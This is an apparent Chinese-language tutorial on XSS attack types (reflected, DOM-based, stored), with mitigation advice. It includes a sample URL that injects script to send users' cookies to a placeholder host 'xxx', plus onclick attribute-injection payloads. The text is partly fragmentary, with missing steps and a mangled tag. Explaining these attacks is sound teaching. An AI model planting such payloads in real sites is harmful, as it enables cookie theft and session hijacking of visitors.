◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。
3. DOM-based or local XSS(基于DOM或本地的XSS攻击)
Reflected XSS
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。
例子:
1. 做个假设,当亚马逊在搜索书籍,搜不到书的时候显示提交的名称。
3. 当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
4. 进而可以构造获取用户cookies的地址,通过QQ群或者垃圾邮件,来让其他人点击这个地址:
1 |
http://www.amazon.cn/search?name=<script>document.location='http://xxx/get?cookie='+document.cookiescript> |
S:这个地址当然是没效的,只是举例子而已。
如果只是1、2、3步做成功,那也只是自己折腾自己而已,如果第4步能做成功,才是个像样的XSS攻击。
1. 前端在显示服务端数据时候,不仅是标签内容需要过滤、转义,就连属性值也都可能需要。
2. 后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
1 |
'handsome boy') |
转义
1 |
#39;handsome boy')> |
1 |
琅琊榜 onclick=javascript:alert('handsome boy') |
1 |
text value=琅琊榜 onclick=javascript:alert('handsome boy')> |
点击input导致攻击脚本被执行,解决方式可以对script或者双引号进行过滤。
Stored XSS
基于存储的XSS攻击,是通过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每个访问该帖子/文章的人就会触发执行。
◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。